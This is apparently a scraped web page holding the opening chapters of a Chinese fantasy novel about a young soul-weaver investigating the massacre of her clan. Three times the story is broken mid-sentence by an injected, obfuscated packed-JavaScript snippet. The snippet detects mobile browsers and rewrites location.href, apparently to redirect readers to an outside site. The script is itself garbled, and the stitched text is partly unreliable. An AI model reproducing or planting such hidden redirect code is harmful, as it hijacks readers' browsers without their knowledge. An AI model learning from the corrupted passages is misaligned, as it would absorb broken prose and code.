《织魂引:昭月归》 1. 楔子——玉簪织魂 永昌三十年九月初六,子时。 天启城西郊外五十里,乱葬岗。 天上弯月如钩,透出凄白的光华,映着绰绰树影,有如鬼魅。 密林中间的一小块空地,散乱分布着十几个大大小小的土包。 其中一个土包前,赫然立着一黑一白两个年轻的姑娘。 “一碟瓜果,三支香,”黑衣姑娘拍了拍手,声音轻快,转向白衣姑娘,“织织,都准备好了!” “嗯。”云织应声,抬头看了看天上的月色。 “时辰差不多了。” 云织话音还未落,阿璧唰地一声长剑出鞘,一步跨到云织身边稳稳站定。 身形微躬,面色沉着冷肃,一副如临大敌的模样。 “阿璧。”云织看着阿璧的动作,眼中透出无奈。 “我知道,剑对魂魄无用,”阿璧警惕地看着四周,头都没回,“但对付坏人可是一顶一的好用。” “万一有心怀不轨的人跟着我们,或者那些到处抓玄师的京畿卫跑来呢!” “这世道,坏人可比鬼多多了。” 云织看着阿璧绷紧的背影,眸底泛暖,一瞬后视线转向面前的小土包。 土包不大,且土色很新,一看就是刚堆没多久。 云织右手手指无意识地捻过掌心淡淡的金线,抬手拔下了发间的簪子。 那是一支样式简单的玉簪,只簪首缀着几片冰绡似的翎羽,显出几分灵动。 纤手持簪,皓腕轻抬,簪尖泛着冷白,斜斜指向空中残月。 刹那间,林间的蝉虫鸣响蓦然消失,天地一片寂静。 在月色的映照下,原本通透的玉簪颜色迅速变深,直至色如滴血。 与此同时,头顶那弯残月的光华,竟也肉眼可见地逐渐黯淡。 “杜芸笙,魂来。”云织声音低浅,但在这一片静寂的乱葬岗,却像是传出了很远很远。 话音刚落,她手中的玉簪光芒乍起。 三缕轻雾似的残魂自簪首缓缓释出,互相纠缠着,凑出一道破碎的虚影,依稀能看出是个孩童的形状。 虚影如水波般荡漾着,飘在那土包上方。 云织看着那虚影,一对清眸深如古井般平静无波,在月色的映照下,显出不符她年龄的冷寂。 “杜芸笙,按你我之间的契约,七日内我需找齐你的碎魂,并为你织魂,送你进入轮回。” 如今是第三日,你碎魂三道已齐,我云织,为你织魂。” 残影微微抖了抖,像是回应。 “织魂之前,先了执念。”云织声音清浅,却带着一股不容置疑的力量,“你的执念,是你并没有放任生病的妹妹不管,是想要去帮妹妹请郎中,途中不小心滑倒才落入水塘中的,对吗?” 那飘着的虚影剧烈一颤,发出了一声小兽般凄厉的呜咽。 “我知道,你的父亲母亲冤枉了你,你很不甘心,”云织像是没有听到那凄厉的惨叫,一派平静地继续道。 “他们说,你任性顽劣,让你照顾生病的妹妹,你却偷跑出去玩,你很不甘心。” “发现你竟溺死在水塘中后,他们不伤心,反而咒骂你忤逆不孝,说你晦气,你很不甘心。” 云织想到在杜芸笙碎魂上看到的那些残存的记忆,几乎都是曾被他的父母打骂或是罚跪的片段,语气不由得软了软。 “你很想问一问他们,为什么要这么对你。” “想问一问他们,同样都是他们的孩子,为什么他们只爱妹妹,却不爱你,对吗?” 残影呜咽着,颤动得更加剧烈了,三缕碎魂竟隐隐有重新裂开的苗头。 而一直背对着云织的阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481459|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璧仍保持着方才的姿势,没有动作,但云织分明听见她深吸了口气,还磨了磨牙。 “杜芸笙,不要执念了。” 云织见那残影的异样,语速加快了几分,“不值得。” “今世你成为他们的孩子,没有体味到父子亲情,原因是什么,都不重要。” 云织清眸亮如星子,“都放下,都忘了。这一世很苦,便早点去,然后重新再选一次。” 话音落下,云织不再说话,纤手握着金簪迅速在空中穿梭,簪首的羽丝随着她的动作拂动,蹁跹如蝶舞。 一丝细细的光线像是自残月上被引下,如小蛇一般游走着,藉着金簪,逐渐没入虚影之中。 而随着她的动作,那三道残影逐渐融合、终于凝实。 像是只一瞬间,又像是过了很久,云织握簪的手终于停下。 虚影的面目清晰起来,显出一个男童的模样。 男童看着不过八九岁,头上扎了两个发髻,一对黑漆漆的眼睛盛着雾气,犹如泪水。 “杜芸笙,我会告诉你的父母你真正的死因,”云织抬手将玉簪插回发间,而后虚点男童的眉心,“去吧!” 男童的虚影微微颤了颤,而后慢慢变淡,直至彻底消散在夜色中。 “谢谢姐姐……” 苍茫夜色中,飘来孩童模糊的低语,“姐姐,请帮我告诉妹妹,在厨房柜子的最底层,我偷偷藏了给她的糖,记得吃……” 云织沉默。 直到那低语随风散去,耳边虫鸣复又响起,她都没有做声。 “小芸笙,你放心去,好好选!下一世的日子,一定都是甜的!” 阿璧狠狠咬了咬唇,攥着剑柄,大声道。 云织垂眸看着那座小小的坟茔,许久未动。 半晌后,她才轻声道:“走吧。” 2. 血债血偿 幻境里,云织眼前一片漆黑。 黑暗中,刀剑的撞击声、凌乱的脚步声、凄厉的哀嚎声,在耳边响成一片。 “昭昭,听爹的话!快逃!” “昭昭,别怕,娘保护你,你一定会没事的!” 依旧是那晚,依旧是这些声音。 那一晚,云家四十余口尽数化为剑下亡魂。而爹和娘拼命想要护住她,让她快点逃。 这些声音,即便云织已经听过了几次,可眼下再次听到,依旧是心口抽痛。 好痛。 痛得像是四肢百骸正被一点一点碾碎。 云织一动也不能动,像是个误闯了那一夜的幽魂,只能听见,却身不由己。 蓦地,刀剑声与惨叫声倏然远去。 云织还未回过神,耳边却忽地响起一道男子的声音。 “昭昭,待此战结束后,我便让父亲上门提亲。等我。”男子的声音清润如玉。 “凛哥哥,这同心符,娘说只有心意相通的两人,才能画成呢。”云织听见她自己的声音,透着从未有过的欢快与娇羞。 “再写上我们的名字,云-昭-月,谢-凛。喏,这就画好啦!” “凛哥哥,战场凶险,你一定要保重,我等你回来!” 这段声音…… 她是第一次听到! 分不清是恨还是兴奋,即便此刻在幻境里,云织也感觉得到,她的身子正不住地颤抖。 她尝试着睁开眼,竭力挣扎。 不知过了多久,终于撬开了一点牙关,而后狠狠咬下。 舌尖剧痛中,终于睁开了眼。 大雨倾盆如注,耳边是呼呼的风声。 而她被人紧紧箍着,正从悬崖边飞速坠下。 是另一个幻境。 与先前不同的是,这次竟有了画面。 云织竭力张大眼看向四周,视线落在崖上的瞬间,便看到上面站了一个人。 那人面对着悬崖,像是正看着她们坠落。 一身青衣,单手持剑,看着长身玉立、姿容挺拔。 隔着纷乱的雨幕,她看不清那人的脸,但却看见了他剑柄上挂着什么。 是一支剑穗。 织线是耀眼的红色,编得歪歪扭扭。在穗首中间,嵌了一颗碧色的珠子。 云织心口瞬间泛起剧痛,像是被人拿刀狠狠捅穿了心脏。 脑中阻隔她记忆的高墙,被什么狠狠撞破了一角。 “凛哥哥,这剑穗送给你,我……我织的不好……” “哪里不好。只要是昭昭送我的,都是最好的。”云织听到先前那清润的男子声音道。 云织像是被人扔入了一湖冰水,忍不住浑身一个激灵,猛地睁开了眼。 “织织,感觉怎么样?” 没等云织回过神来,眼前便凑过来阿璧的一张俏脸,眼底满是心疼。 云织看清周围,才终于舒了口气。 这次不是幻境。 阿璧皱着眉,拿着帕子仔细擦着云织的额角,“怎么出这么多汗!” 看着云织脸色苍白的模样,阿璧眉头皱得更紧了。 云织每次为死者织魂后,便会陷入幻境中,看到些过去的零碎片段。 所以即便她心疼云织,也没法开口阻拦。 怎么阻拦呢。 那是她们两人的过去,是她们共同背负的血海深仇。 要不是如此,她才舍不得云织耗费心神为死者织魂。 不管! 任那些魂再可怜都不管! 云织脑子很乱,习惯地摩挲着指尖淡淡的金线—— 果然,又延长了一点。 自她第一次为死者织魂起,这金线便莫名出现了,像是自她的血肉里滋长而出的一般。 算起来,是约一个半月前。 算上杜芸笙,她已为四个死者织过魂,而每次织魂,这金线便延长一点。 如今已经越过掌心,开始向着手腕蔓延了。 “织织,你这次,是不是看到了什么新的?”见云织沉默不语,阿璧的语气不由得严肃起来。 “阿璧,那是云家,四十几条人命呢。”云织盖住掌心不让阿璧看到那条金线,兀自喃喃道。 她过去,叫云昭月。 是凤梧山云家家主云羿,与夫人月素衣的独女。 永昌三十年七月初七,也就是两月前,云家一夜之间被灭满门。 据说,云家四十余口人均被屠杀殆尽、无一幸存,本如桃源的凤梧山血流成河,犹如人间炼狱。 而通过今日的幻境看,怕是只有她和阿璧,因跳下悬崖侥幸生还。 事发至今已过两月,云家四十余口尸骨未寒,凶手却一直逍遥法外。 即便记忆只恢复了一些零碎的片段,她还无法将那四十余条人命代入曾经亲人的脸,无法明白当日她看着亲人一一倒在眼前究竟有多痛、有多恨,但—— 血债,便该血偿。 她四处为死者织魂,只想早点恢复记忆,早日解开云家被灭门的真相。 而今天的幻境—— 云织想起幻境中,那个她满心欢喜叫着凛哥哥、画下同心符的人; 想起悬崖上看到的、那个持剑的青色身影; 想起那人剑柄上挂着的、出自她手的剑穗…… 终于,有了一些线索。 “阿璧,这次,我看到一个人。”半晌之后,云织开口了,眸色冷得像冰。 “我们明日出发,去天启城。” … 天还没亮,云织与阿璧便已上路。 马车在官道上颠簸前行。 云织靠着车厢,闭着眼,面上是掩饰不住的疲惫。 每次织魂后的几日,都像是全身的力气被抽空了,要些时日,才能慢慢恢复。 还有…… 云织睁眼,视线投向掌心淡淡的金线。 这金线,就像是种无声的计时。 计的什么? 是她解开云家被灭门真相的时间,还是—— 她的命? “织织,咱们才刚刚出发,你再休息一下。”阿璧见云织睁开眼,伸手为她正了正身后的靠垫。 云织视线转向阿璧,目光柔软了几分,“阿璧,还好,还有你在我身边。” 阿璧整理靠垫的手一顿,而后故作轻松地道:“那当然,如果没有我武功绝世的阿璧,你怕是寸步难行呢!” “嗯,多亏有你。”云织声音很轻,面色却是极认真。 “那,等到了天启城,你请我吃陈阿婆的灌浆包!”阿璧满脸馋相,“听药老说,天启城里最好吃的东西,就是陈阿婆的灌浆包了,我要两屉!” “好,两屉。”柔柔的笑意在云织的嘴角绽开,衬得她温柔娇美,与平日里清冷淡漠的样子判若两人。 看着云织又闭上眼睛,阿璧嘴角的笑意瞬间凝滞。 她与云织一起,于两月前被药老自河边救起。 也与云织一样,没有被救起之前的任何记忆。 但她自醒来的那一刻便知道,云织是她即便拼了性命不要,也要保护的人。 这份信念。似乎已经刻入了骨血里。 而后通过云织织魂,她知道了她曾是云织的贴身婢女,也是护卫,自小就陪着云织一起长大。 如今她们的身世正逐渐清晰,云家没了,她们的爹,娘,亲人,都不在了。 她们只有彼此了。 阿璧看着云织眼底浅浅的青色,眸色暗了暗。 织织,才不过十六岁。 这个年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481460|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的世家小姐,本该是关心首饰与衣裙、哪家男子更适合婚配的年纪,可她却背负了太多。 待查明了云家被灭门的真相、报了仇,她一定要带织织离开这里,找个山清水秀的地方隐居。 再也不管那些神神鬼鬼的事! “大人,冤枉,冤枉啊——” 马车外远远传来妇人的嘶喊,打破了寂静。 云织睁开眼,便见阿璧已经挑开了车帘的一角。 两人向外看去,便见官道路边,一队穿着官服的兵士正拖着一个人向前,而一个妇人扑在地上,抱住为首兵士的腿,正哭得撕心裂肺。 “大人,一定是弄错了,一定是……一定是有什么误会!是误会啊——” “误会?你还敢说误会?!” 为首的兵士一脚将那妇人踹翻,脸上全是嫌恶,“你们夫妻好大的胆子,竟敢偷旁人的孩子!” 那妇人闻言犹如被人当头劈了一掌,瞬间面色惨白,哭号声也蓦地哑住。 “既然偷抱了回来,就该好生对待,可你们是怎么对那个孩子的?!” 为首的兵士指着被拖着、面如死灰的男人,又对着妇人点了点:“你们竟对那孩子百般虐待!如今那孩子溺死了,还对他诅咒怒骂,这才被人察觉不对,告到了衙门!” “你们这样两个心肠恶毒的人,也配为人父母?没准那孩子就是被你们害死的!” “若不是看在你还有个女娃需要人照顾,今天连你也一起带走了!滚开!” 为首的兵士又狠狠瞪了那妇人一眼,这才带着人拖着那全身瘫软的男人离开。 “老……老杜啊——”待到那队兵士走远了,妇人才颤抖着,发出一声悲鸣。 “真是恶毒啊,怪不得平日对小芸笙各种苛待,原来芸笙竟然是他们偷抱回来的!” 围观的百姓此刻看着伏地痛哭的妇人,窃窃低语。 “呸,做出这样的事,还有脸哭!”一个身形微胖的妇人双手叉腰,对着地上的妇人啐了口,“怪不得芸笙那孩子那么懂事,你们还各种不满,原来根本就不是亲生的!” “芸笙虽然年纪小,但向来稳当,怎么会慌慌张张跌进塘里了?没准就是这蛇蝎心肠的女人害的!” “畜生!” 那妇人见围观的百姓骂的越来越难听,再不敢出声,忙瑟缩着爬起来,胡乱抹了把脸便跑走了。 “活该!”阿璧见人群都散了,这才气哼哼地放下了车帘。 “这样狼心狗肺的男女,就该都抓起来送官!”阿璧咬着牙,看着云织恨恨道,“可怜了小芸笙!” “不过,织织,你既然猜到了小芸笙不是他们亲生的,在为小芸笙织魂的时候,为什么不告诉他呢?” “告诉他做什么呢,”云织面色淡淡,“只是徒增伤心罢了。” “他放下执念,干干净净地走了,对他来说,就够了。” “这样也好。” 阿璧深以为然,“织织,还是你厉害!要不是你让我放出风去,这对男女怕是就要逍遥法外了!” 云织没有作声。 她不厉害,只是不信真的有父母不爱自己的骨肉。 想起杜芸笙的魂魄最后还惦记着妹妹,那般懂事,云织心底默念:杜芸笙,我替你报仇了。 他们这样的人,不配拥有你这样乖巧的孩子。 云织不由想起幻境中总听到的,父亲母亲的声音。 他们拼死护着她,叫她快逃。 虽然她还记不起父亲母亲的脸,但每每听到他们保护她的声音,心里便是一阵刀割般的痛。 她比杜芸笙要幸运,她曾经有那样好的父亲母亲。 父亲,母亲,你们放心,我一定会为你们,为云家四十余口报仇。 哪怕代价,是我的命。 3. 天启初遇 天启城,大梁都城。 城墙高耸,城门宽阔,进出的人流络绎不绝。 商贩的吆喝叫卖声、车马的喧嚣声、行人的交谈声混成一片,热闹非凡。 “织织,药老说得对,”阿璧看着面前人流如织,不由得感叹,“这天启城,果然是极繁华的地方。” “走,我们找个客栈住下,然后去吃陈阿婆的灌浆包!”阿璧兴致勃勃地拉着云织就走。 两人沿着宽阔的街道走了半晌,直到远远路过一处宅子,云织突然停下了。 “织织,怎么了?”阿璧见云织盯着这宅子看,也忍不住多看了两眼。 朱门碧瓦,高墙大院,看着便是大户人家。 “阿璧,这宅子里,有阴魂。”云织面色无波,看着阿璧道,“而且,闹得很凶。” 阿璧原本面上的兴致勃勃瞬间僵住,变得惨兮兮。 “好织织,我们才刚刚进城呢……” “管他阴魂阳魂的,我们先吃饭好不好?” “再说,这样的大户人家,哪家没有些见不得人的肮脏事,宅子里有阴魂,也很平常不是……” “嗯。”云织看着阿璧的模样,眸里带了些笑意,“阿璧说得对,我们先找客栈,然后吃饭,休息。” 两人正要离开,却见街尽头的人流突然一阵嘈杂。 “快快,快让开些,是京畿卫!” “哎呀,是兵老爷们,咱们快躲开点!” 云织与阿璧两人站住,便看到街上的人流迅速分开,一队着甲京卫骑着马,正向着她们的方向而来。 “又是这些讨厌的京畿卫!”阿璧瞬间警惕起来,皱着眉头,盯着那队人马逐渐走近。 “据说自两月前,这些京畿卫得了皇命,便开始到处抓捕玄师,说是怕玄术乱国,谁知道究竟打的什么主意!他们难道就没有些正经事做吗!” 为首的男子一身玄衣端坐马上,眉骨高挺、眼如泼墨,一派丰神俊朗。 只是此刻面如冷玉、眸沉似霜,周身一股生人勿近的冷漠气势,让人不敢直视。 “织织,你看那带头的,倒是长得一表人才的,可惜了——” 她凑到云织耳边,压低声音:“怕是空有一张脸皮,心比那乌鸦还要黑。” “是谢大人,天哪,竟然是谢大人!”站在云织与阿璧身旁的两个少女看着带头的男子,此刻一脸的激动。 “想不到,竟然会遇到谢大人!今日出门真是幸运!” 阿璧侧头看着那两人,一脸的不可理喻,“这位谢大人,很有名吗?” “那当然了!你不是京城人士吧?” 其中一个少女打量了阿璧一眼,一脸骄傲,“谢大人可是谢渊将军的独子,边境谢家军的少将军!十几岁就随谢将军上了战场,年纪轻轻便立下战功无数,又长得那般好看,天启城里哪个不知!” “既是将军,为何不在边境,混在京畿卫中做什么?”阿璧挑眉。 “谢大人两个多月前在战场上受了伤,才回京调养的。”少女说着,眼里满是心疼,“听说伤得不轻,差点……” 她没说完,另一个少女便接过话:“但谢大人有大抱负,养伤也不肯歇着,听说是自荐要整顿京畿卫,圣上这才准他临时统领的。” “这样谪仙一样的人物,就算只是从街上过一趟,我们能看一眼都是福气呢!” 云织像是没听到她们几人的话。 她直直看着那队京卫走近,一动未动,眸色有如深井。 马上的男子单手握剑,背脊挺直。 那人剑柄的顶部,一条艳红色的剑穗正随风微微飘荡。 剑穗织的歪歪扭扭,编织的手艺看着着实难以示人,而穗首中间,嵌了一颗碧色的珠子。 头突然莫名地剧痛,云织忍不住弯了腰,狠狠咬住了唇。 幻境中的声音犹在耳边。 “凛哥哥,这剑穗送给你,我……我织的不好……” “哪里不好。只要是昭昭送我的,都是最好的。” “织织,你怎么了?”阿璧发现云织面色不对,忙伸手扶住她,“不舒服吗?” 云织竭力压住凌乱的呼吸,抬起头,恰好马上的人也正望过来。 视线交织的一瞬,云织攥紧手心,指甲深深刺进肉里。 掌心似乎正微微发烫。 男子的眸光淡淡扫过,像是有一瞬间的停顿,而后便转开了视线。 云织低头,摊开掌心。 掌心微微泛着红,而那股热意,直到那队人马走远,才缓缓褪去。 谢—凛— 来天启城,就是为了调查关于他线索,却不想才刚刚入城,便见到了。 云织视线模糊着,看着那队人马远去,齿间忍不住将这个名字反复咀嚼。 原来,这人便是,谢凛。 所以,他方才,没有认出她? 还是,假装不认得? … 当夜。 京畿卫衙门,谢凛书房。 谢凛独自坐在桌案前,手中握着那支剑穗。 红色的丝线已经微微有些褪色,穗首的碧珠却依旧温润,泛着淡淡的光泽。 谢凛眼前不由得浮现起云织的脸。 那张脸是陌生的,而那眼神—— 冷漠,审视,警惕,怀疑。 她是何人? 他不记得见过她,却直觉她不简单。 “沈青。”谢凛唤了一声。 门外的人推门而入:“公子。” “查查今日街上遇到的那个白衣女子。暗中查,不许惊动任何人。” “是!”沈青微蹙着眉头,像是想了想,随后便退了出去。 谢凛眸中是说不出的情绪,收手将剑穗攥紧。 许是攥得太紧了,掌心竟隐隐泛出些许温度。 谢凛松了松手,并未在意。 … 两日后。 客栈一楼大堂,云织与阿璧围桌坐着。 “织织,那许府真的会派人来找我们吗?”阿璧捧着茶杯,视线却时不时地投向店门口。 “毕竟……天子脚下,眼下天启城没人敢提起玄术,更是对玄师避之不及,这许府,真的敢?” “会的。” 云织端坐着,面上一派平静,“我感觉得到,这两日许府的阴气越来越重,可见那残魂闹得很凶。” 许府如今日日不得安宁,能忍过两日不来寻她,已经很沉得住气了。 她们说的许府,是天启城皇商许家,专做皇家生意的,家族资产数不胜数,说一句富可敌国也不为过。 也正是入城当日,云织感知到有阴魂的那栋宅子。 入城当日,阿璧打探清楚了许府的底细后,云织便让她悄悄送了一封密信去。 “咱们非要从这个许府着手吗?” 阿璧左右看了看,压低了声音凑近,“许府的人与那个负心人走得这么近,而那人现在执掌着京畿卫,万一我们被他发现了抓起来,可就报不了仇了!” 云织与她之间没有秘密,所以云织在幻境中看到听到的一切,她早便知道了。 一想到她们入城时看到的那什么狗屁少将军竟然就是那谢凛,阿璧就恨得牙痒痒。 先不说云家的仇与他有没有关系,就凭他未婚妻一家突遭剧变生死未卜,他一点不见着急,竟有心思整日带着京畿卫到处招摇,便知道他不是什么好东西! 她的眼光果然没错,那人脸看着好看,心还不知道有多肮脏! 要不是云织拦着,她必然要偷偷潜去将那人捅上一百个窟窿! “嗯。”云织点头,“就是因为那人与许府的关系,我才一定要去。” “阿璧,我有太多想不通的地方。” 她心中的困惑,太多了。 谢凛于两月前受了重伤,而云家于两月前被人一夜灭门。 云家被灭门后,京畿卫便开始大肆抓捕玄师,而谢凛,却执掌了京畿卫。 她于悬崖上看到的那人,剑上的剑穗,和谢凛的那支一模一样。 这些,难道都是巧合? 以谢凛的身份地位,曾与人两情相悦、甚至到了要上门提亲的地步,如今爱人死了,市井坊间怎会没有丝毫传言流出? 最重要的,三日前她与谢凛偶遇,他却并没有认出她。 云织还记得当时谢凛看她的眼神。 没有半分温度,像在看一个毫不相干的陌生人。 没有看到爱人失而复得的惊讶与欣喜,也没有发现她竟没死的心虚与慌张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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作为许家老夫人身边最得力的,即便是下人,但说话间难免习惯性地透出些许傲气。 “借一步便不必了。” 云织微微仰头看着许妈,淡漠的眸光添了几分锐利,“自古心诚,才灵,既然贵府没有诚意,我也不必浪费时间。” 许妈一愣,像是没想到云织会拒绝得如此干脆。 而云织坐得一派气定神闲,没有半分客气。 “云织小姐,不是的,其实……”许妈的口气不自觉地软了下来。 “贵府的老夫人,近日可是经常梦到,红绸绣球?”云织不待许妈把话说完,便开口打断。 话一说完,云织不理会许妈瞬间惨白的面色,“阿璧,送客。” 许妈还震惊着,听到云织下逐客令,忍不住腿一软,声音便急了起来。 “云织小姐,对不起,您大人有大量,我……” “别动!”阿璧一把伸手把人搀住,声音低沉而冰冷。 “你若想引起旁人注意,大可以再大声点!” “对……对不住……”许妈忙也压低声音。 慌乱间对上云织冷飕飕的眼神,被冻得忍不住打了个哆嗦。 “云织小姐,刚才是老婆子我说错话了,”许妈心里忐忑着,声音里全是恳求,“还请……还请云织小姐能赏个脸,移步到府上坐一坐……” 没法不忐忑。 老夫人让她来请人,说好是“稍加试探”,确认她不是诓人的,就将人请进府。 可她还没开始试探,便被这位云织小姐看穿了。 这样的气势且不说,能直接说出老夫人的心病,可见的的确确是有真本事的。 她无论如何都得把人请回去! “请云织小姐原谅老奴莽撞,如果今日老奴不能把小姐请回去,老奴……老奴也没脸面回去见老夫人了……” 阿璧看着那许妈瑟缩着抹眼泪,这才挑了挑眉,看向云织。 “老夫人的病,我的确能医,”云织看了许妈半晌,直到看得她冷汗直下、如坐针毡,这才悠悠地道。 许妈面色登时一喜。 不等她开口,云织又继续道,“但我的诊金,很贵。” “无妨无妨,云织小姐,只要您能……”许妈自觉声音大了些,忙又压低了声音,“只要您能医我家老夫人的病,要多少诊金都成!” “话还是不要说得太早了!” 阿璧接过话头,“还是先见了贵府主事的再说,带路吧!” “哎,哎!” 4. 许府对峙 许府坐落在天启城东,占地极广,朱门碧瓦,高墙深院。 云织与阿璧跟着许妈下了马车,进了府,一路穿廊过院,最终在一间花厅前停下。 “云织小姐稍候,老奴去请老夫人。” 许妈对着云织恭恭敬敬躬了躬身,便匆匆去了。 阿璧站在云织身后,眼睛四处打量,压低声音:“织织,这许家可真大啊,方才在府里七绕八绕,都快把我绕晕了。” 云织没有接话。 她的目光落在花厅的一处墙角——一道浅碧色的碎魂正附在墙角,微微颤动着。 第二道。 比起让她和阿璧在许府外围找了许久的第一道,这许四小姐的第二道碎魂,得来的竟如此容易。 云织伸手拔下发间的簪子。 微光闪动间,那缕碎魂飘忽忽飞起,瞬间被簪子吸了进去。 “织织,来人了。” 云织反手将簪子插回,看向花厅门口。 随着细碎的脚步声,一个头发花白的老妇人被许妈和另一个婢女搀着走了进来。 许老夫人看着不过五十余岁,锦衣华服、金钗玉饰,是养尊处优的面相,但眼底却透着浓重的青色。 “您……您就是云织小姐?”老夫人才刚刚坐下,便满眼期待地盯住云织,“快,快请坐!” “老夫人。”云织微微点头。 “许妈方才已经跟老身说过了,云织小姐定是世外高人,有大本事的,老身……老身……”老夫人说着,眼眶便红了,“老身实在没办法了……” 天知道,自那丫头去了至今已经半月,她几乎没睡过一个好觉。 那些偷偷请来的所谓高人,都是些没用的草包,没有一个顶事的。 府上的其他人还好,尚且能忍,但她年事已高,实在是熬不住了。 所以在看到那封信后,她几乎是毫不迟疑便派了许妈前去。 什么禁玄术,禁玄师,都没有命要紧! 许老太太挥了挥手,许妈带着下人退了出去,花厅里只剩了她们三人。 云织声音很淡,“老夫人,此事于我,不难。” 还不等许老夫人眼中的惊喜绽开,云织又道,“我们先谈谈条件。” 许老夫人愣了一下,随即连连点头:“老身明白,云织小姐想要多少银子?您只要开口……” “我不要银子。” 云织看着她,眸光平静得有些冷漠,“我有两个条件。” “什……什么条件?”许老夫人猜到云织要提的条件定然不一般,面色肃了肃。 “第一,我要留在许府。” 许老夫人闻言,原本有些昏花的眼瞬间睁大。 “老夫人不必担心我有所图谋,”云织看着许老夫人的神情,便明白她在想什么,“我和阿璧想在京城落脚,但我们两个孤女,没有亲人了,如今的世道,又容不得我这样的人,想落脚,不太容易。” “我要您对外宣称我是您母家的远房亲戚,前来投奔您的。” “这个,倒是不难,”许老太太听闻云织所言,暗暗松了口气。 只说是母家的远亲投靠,累不到许家的财产。 不过是多两张嘴吃饭,别说两张,就是两百张,许家也管的起。 况且…… 若这姑娘有真本事,日后没准还有用到的地方。 不过瞬间,许老太太心头已经转了十八个弯,这才恢复些笑意,看着云织道,“云织小姐,那第二个条件呢?” “第二,我借住府上,只需给我一处僻静的院子,不要人打扰。” 云织淡淡道,“平日我做什么,去哪里,无需过问,不可阻拦。” “这……”许老夫人微微拧着眉头,犯了难。 给一处院子也不难,但不过问…… 万一她要是出去惹了什么乱子,给许家带来麻烦怎么办? “老夫人若有顾虑,可以慢慢想。”云织一双凤眸深如幽涧,似乎能把人她看穿,“我不急。” “我们就先告辞了。”云织说完便站起身。 “云织小姐,您别走!” 许老夫人见云织起身,心里一急,忙道,“老身答应,老身都答应!” … “云织小姐,您这边请!” 许府的宅院大而精致,山湖厅阁,无不用心,处处透出一个雅字。 许妈引着云织与阿璧穿过廊庑来到院中的小花园,姿态恭敬得像对自己的主子,“云织小姐,您看,接下来要去哪里?” 许妈已经引着云织与阿璧在府中走了半天,具体是为了什么,她不敢问。 云织静立了半晌,抬手一指,“去那边看看。” “好,好!” 三人才穿过一座湖心桥,迎面便遇上两个人。 是两个男子。 一个一身白衣,清朗温润,另一个一身黑衣,面如冷玉。 云织看着那黑衣男子抬目望过来,心头不由得一紧。 “许妈,这位是?” 对面的人打量了云织等人半晌后,那白衣男子开口了。 “大……大公子,这位是……” 许妈没想到会遇到两人,心里没有准备,一时竟不知道要如何介绍云织的身份。 说是客人? 若是大公子问起是哪府上的小姐,怎的从没见过,她要如何答? 说是医者? 府上可是从不外请医者上门。 直说是会玄术的高人? 更是万万不可!这位总领京畿卫的谢大人怕是立刻就会将云织小姐拘走。 “是……是……” “我家小姐是老夫人的娘家亲戚,听说老夫人近来身子不适,特意来探望的。”阿璧见许妈支支吾吾半天,几乎忍不住要翻个白眼,干脆利落地接过话。 这婆子什么毛病?! 亏得还说是老夫人身边最可靠得力的,哪里可靠,哪里得力? 一副做贼心虚的模样,是生怕这姓谢的不怀疑她们的身份么! “啊对对,是老夫人娘家来的,”许妈此刻像是才回过神来一般,赔笑着道,“大公子,是……老夫人那边的表姑娘,您还应该称一句表妹的!” 白衣微微男子一愣。 他从没见过的表妹? “哦,原来是……表妹,”男子像是明白了什么,转瞬便微笑道,“抱歉,不知今日府上有贵客登门,失了礼数,表妹请不要见怪。”一派谦谦君子,磊落大方。 “表兄言重了。”云织垂眸,对着男子微微点了点头。 这人身份并不难猜。 许府是许老夫人嫡长子许豫的府邸,而许豫膝下一子四女,这位自然便是其唯一的儿子,长子许衡奕。 此人没听说有什么正经营生,但却与谢凛交情匪浅,天启城几乎人尽皆知。 “大公子,您与谢将军忙着,我带表小姐去后院转转!”许妈对着许衡奕与谢凛二人行了个礼,转身向云织与阿璧使了个眼色,便要离开。 云织略对二人躬了躬身,算是告别。 她一直没看向谢凛,却明显感觉到,他的视线一直落在自己身上。 暗暗吸了口气,压下心中想要对上谢凛视线的冲动。 她才刚刚抬脚,便听到一道冷冷的声音响起:“这位,表小姐,如何称呼?” 这道声音—— 与幻境中听到的不太一样。多了冷意,少了柔情。 云织止步,抬头。 正对上谢凛一对狭长深邃却冷肃无波的眼。 眉目沉稳、身姿挺拔,一身玄衣也掩不住周身的杀伐英气。 阿璧说的对,这人的确有一副好皮相。 云织微微垂眸,看着谢凛手中佩剑上坠着的剑穗。 那抹歪歪扭扭的艳红,分外扎眼。 “云织。”云织抬眸,吐出两个字。 话音一落,即便谢凛的脸上仍是没什么表情,但云织分明看见,他垂在身侧的手微微握紧。 可是云这个姓氏,勾起了旧日的记忆? 也是好笑,旧人在眼前却不敢认,反倒是对旧人的姓氏有所动容。 谢凛,你可是心虚? 云织又冷冷看了一眼,便转过身。 “云织小姐既是许祖母母家的远亲,为何不是自萍乡镇方向而来,却是自城西方向的渔村入城?” 就在云织转身欲走的时候,冷冷的声音再度响起。 她身形生生顿住,忍不住握了握手心。 掌心像是又开始微微发烫 